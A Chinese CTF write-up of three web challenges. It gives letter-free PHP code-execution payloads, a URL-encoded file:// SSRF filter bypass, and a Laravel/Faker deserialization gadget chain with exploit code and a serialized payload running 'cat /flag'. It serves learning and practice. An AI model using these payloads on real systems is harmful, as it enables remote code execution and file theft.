第五空间智能安全大赛-web

第五空间智能安全大赛-web

hate-php

进入题目,发现入下的代码;

NrKGpq.png

看到过滤了很多东西;但是由提示我们也可以知道我们需要读取的文件就是flag.php文件;但是这里有个问题,get_defined_functions()函数它将获取所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过$arr["internal"]来访问系统内置函数, 通过$arr["user"]来访问用户自定义函数 ;这里观察,显然是需要绕过内置的函数了;这里我们因为由过滤的存在,直接考虑无数字和字母的webshell;至于原理,我曾经写过一篇文章,可以翻看我往期的文章;进入提目看看环境,看看php的版本;

NrKJ10.png

确定在7.1之上,那么就可以构造 (phpinfo)();这样的写法,

这里直接执行phpinfo (~%8F%97%8F%96%91%99%90)() 这里感觉是出题人故意设置的一个地方,之前是需要分号来进行分割的,这里出题人将分号禁掉了,这里去掉分号依然可以,但是在其他的环境中就不可。执行效果如下;

NrK3hn.png

然后我们构造(%8F%8D%96%91%8B%A0%8D)((%8C%9C%9E%91%9B%96%8D)((~%D1))) --> print_r(scandir('.'))来进行列目录;发现确实存在flag.php文件;读取一下;

NrK1ts.png

do you know

打开环境,发现显然是ssrf的考点;

先来审计源码;

<?php
highlight_file(__FILE__);
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}
if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}
$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
   // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
    $res = curl_exec($ch);
    var_dump($res);

先来审计代码;出题人已经提示的很清楚了;首先我们看到$poc变量是接收了我们的传参;然后经过一个匹配,如果没有黑名单就放过,否则直接ban掉;

然后$ids是将我们从'&'分隔开 $a_key 是取我们前面的那个变量的键名; $b_key 是取后面变量的键名; $a_value 是取前面变量的键值; $b_value 是取后面的键值;接着一个if的判断是的我们必须拥有以上的四种变量,也就是说我们的传参必须为/?s1mple=xxxxxxx&simple=xxxx;接着审计代码;

if($a_key==$b_key)
{
    die("trick");
}

一个判断让我们两个键名不可以相同;

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}

这里如果一旦不满足两个值不相等,那么就会进入下一个判断,就会判断我们传参的个数,显然我们之前分析过,传入的参数是两个,所以这里必死无疑,所以唯一的方法就是让我们的两个键值相等;就可以绕过去;

foreach($_GET as $key=>$value)
{
        $url=$value;
}

接着遍历我们的键名键值。然后将url赋值为我们传入的键值;然后接着就是启动一个会话进行我们的ssrf攻击了;

这里出题人提示的很明确,无关的代码都标出了它的含义。那些代码都是我们不需要关心的,都是服务器的执行流程;这里显然在会话的开始就提示了我们使用file协议;但是我们源码刚开始的一个匹配过滤了file协议,现在就是怎么绕过的问题;

这里需要明白我们浏览器和服务器处理数据的流程,我们传入的参数会经过浏览器的urlencode然后传给服务器,我们服务器收到之后会先进行urldecode,然后拿去正则判断,如果过去之后,则交由后续的程序处理,这里我们进行urlencode编码绕过即可,对我们的字母同样进行urlencode,即%+十六进制;这里编码后的效果就是;?s1mple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&simple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70]-->(http://121.36.64.91/?s1mple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php&simple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php)这里看到我们服务器处理完之后得到的结果就是后面的结果,前面过正则的时候,我们的file协议什么的都是经过urlencode的,可以顺利绕过去,然后交由我们服务器的程序进行解析,看到是urlencode会进行再次的解码,然后处理得到结果,从而去读取我们的/var/www/html/flag.php文件; $flag='flag{5bc0bc291d322450679866d5ddf0a346}

laravel

看题目来说就是对框架的源码审计了;我们下载附件进行审计;

因为之前爆过laravel框架的一些漏洞,包括sql还有反序列化导致的rce等等的一些问题,所以我们着手于这些个已知漏洞为目标来进行寻找,因为出题人也不可能凭空找到一个全新的利用方式,肯定是将原来的代码加以修改,然后让我们审计;代码审计开始;

首先来说,这道题看起来不像是有数据库的题目,一开始我还测试了一下数据库的sql,然后发现直接500多次,后来觉得没有数据库,那就直接rce吧;

代码审计;首先在app/Http/Controllers/TaskController.php中发现一个存在接受点的dome;

<?php
namespace App\Http\Controllers;
class TaskController
{
 public function index(){
	 if(isset($_GET['p'])){
		 unserialize($_GET['p']);
	 }
 return "There is an param names p (get)";
 }
}
?>

这里发现我们传入p参数就可以实现反序列化,这和我们之前的构想是一样的;既然出题人提供了这个dome,那么就是利用了;

这里继续寻找可以利用的方法,尤其是要关注析构函数和构造函数的存在;还有call函数;在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中我们发现可以析构函数和构造函数,如下:

NrKYcV.png

我在之前也发现了CollectionConfigurator.php中的一个构造和析构,但是那个php中的析构函数中的属性无法被控制,所以就没有选择其作为触发点;

这里看到析构函数最后调用了$parent属性下的addCollection方法,但是在这个php文件中,我们看到构造函数中可以去控制我们的$parent属性;利用点就从这里开始;然后我们全局去搜索一下addCollection方法,这里我找到了45个方法,但是看起来都没什么用处,所以我们想到了调用对象中的不存在的方法从而可以调用call()魔术方法;所以全局搜索call方法;

这里引用 vendor/fzaninotto/faker/src/Faker/Generator.php 下的call方法,因为我们可以追溯Generator.php 的代码,发现format可以调用一个回调函数;

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

所以我们可以利用这个回调函数来进行调用一些函数,这里跟进getFormatter函数;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

这里我们可以看到getFormatter的返回值也是可控的;那么这里的逻辑也就十分的清楚了,我们如果想要调用回调函数,就需要访问一个对象中没有的属性去触发call方法,然后进入format方法,format方法中定义了回调的函数,深入getformatter方法,这里让其返回值$this->formatters为一个数组,键值为system;然后键名就为addCollection,这里$formatter追溯一下就是$method;然而由于call的特性,导致我们触发call的时候call的$method默认就是addCollection,所以这里就可以直接调用了system方法

至于参数,因为当初调用了call方法,由于call方法的特性,这里参数默认为$this->route即$attributes;所以对于参数而言,我们只需要输入我们的命令即可。思路清晰开始构造exp;

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        public $parent;  //这里我曾经在网鼎的wp中写过,php版本为7.1之上的,对于属性类型并不敏感,所以为了方便直接public;可以看我网鼎wp;
        public $route;
        public function __construct($parent,$route)
    {
        $this->parent = $parent;
        $this->route = $route;
        }
    }
}

namespace Faker{        //进入Generator.php中做文章
    class Generator{
        public $providers = array();    //截取原来的部分代码,出题人早已经计划好了,已经定义了数组类型;
        public $formatters = array();

        public function __construct(){
            $this->formatters = array("addCollection"=>"system");  //赋值为此以为最后需要通过析构函数addCollection这个来指向键值调用system;所以直接让addCollection为键名;
        }

    }
}
namespace{
    $s1mple = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//利用构造函数赋值;
    echo serialize($s1mple);
}

O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:6:"parent";O:15:"Faker\Generator":2:{s:9:"providers";a:0:{}s:10:"formatters";a:1:{s:13:"addCollection";s:6:"system";}}s:5:"route";s:9:"cat /flag";}

flag{90569859b0164266ef04461bbc1d5cc5}

NrKtXT.png

先来三道吧;下午打算复习物理了;后天考试,吐了~

其实有的ctf题目并不难,而是需要静下心来全力以赴,而我在赛场上还是有点小慌,还得锻炼~~

猜你喜欢

转载自www.cnblogs.com/Wanghaoran-s1mple/p/13194399.html